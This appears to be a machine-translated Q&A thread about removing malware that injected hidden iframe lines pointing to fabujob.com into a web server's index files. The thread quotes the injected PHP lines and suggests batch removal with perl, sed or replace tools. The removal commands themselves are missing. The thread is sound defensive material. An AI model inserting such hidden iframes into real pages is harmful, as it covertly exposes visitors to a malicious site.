我最近在我的计算机上安装了某种恶意软件,它添加到网络服务器上的所有 index.php 和 index.html 中!以下字符串:
echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
所以“click=”后面的参数总是变化的。这两个只是例子。
有没有办法快速快速地做到这一点?
.
.
编辑:它在我的网络服务器上,所以没有使用 find...
一种简单的方法是使用 find 和 grep,加上 perl 来进行编辑。
首先,构建一个已被泄露的文件名列表:
接下来,使用 perl 编辑文件并删除漏洞:
(是的,对于 UUOC 学究来说,这是对 Cat 的无用使用,但它使示例更易于阅读和理解)
这将从每个受感染的文件中删除包含字符串“fabujob.com”的每一行。它还将每个文件的备份保存为 filename.BAK,以便在出现问题时轻松恢复它们。当您不再需要它们时,您应该删除它们。
此 perl 脚本基于您提供的示例,该示例似乎表明攻击添加了包含漏洞利用的整行,因此此脚本打印除包含漏洞利用 URL 的行之外的每一行。如果实际情况并非如此,那么您将不得不想出一个更合适的脚本:)
这是一种通用技术,可用于对一批文件进行任何自动编辑。您可以使用任何 perl 代码来完成这项工作,而且 perl 具有大量的文本操作功能。
顺便说一句,在进行此类工作时,请始终复制所涉及的整个目录树并首先进行处理。这样,如果你搞砸了 perl 编辑脚本也没关系......只需将原始文件同步回工作目录即可。一旦你的脚本完全正确,你就可以在真实文件上运行它。
sed 和 find 应该可以帮助你,但是 sed 需要一些时间来学习(足够我现在想不出一个可能的命令)。
此外,还有能够在整个目录树中查找和替换的 gui 编辑器(即 Mac 上的 Textmate)。然后,您将使用正则表达式来覆盖可变部分。
尝试
regexxer
或rpl
键入工具。他们的全部目的是项目范围内的替换。它们支持递归目录,让您选择应该应用替换的文件类型。假设域始终相同并且不应在任何地方合法存在:
原件将使用扩展名“
.bak
”保存。-i
如果您不想备份,则可以使用。如果你知道你的文档中没有 <iframe> 标签,你可以简单地做
如果您确实有 iframe,那么您需要使您的正则表达式更准确。
Perl 的 -i 标志经常被忽视。它的意思是“就地编辑”。请参阅http://petdance.com/perl/command-line-options.pdf以获取更多从命令行在 Perl 中完成的魔术示例。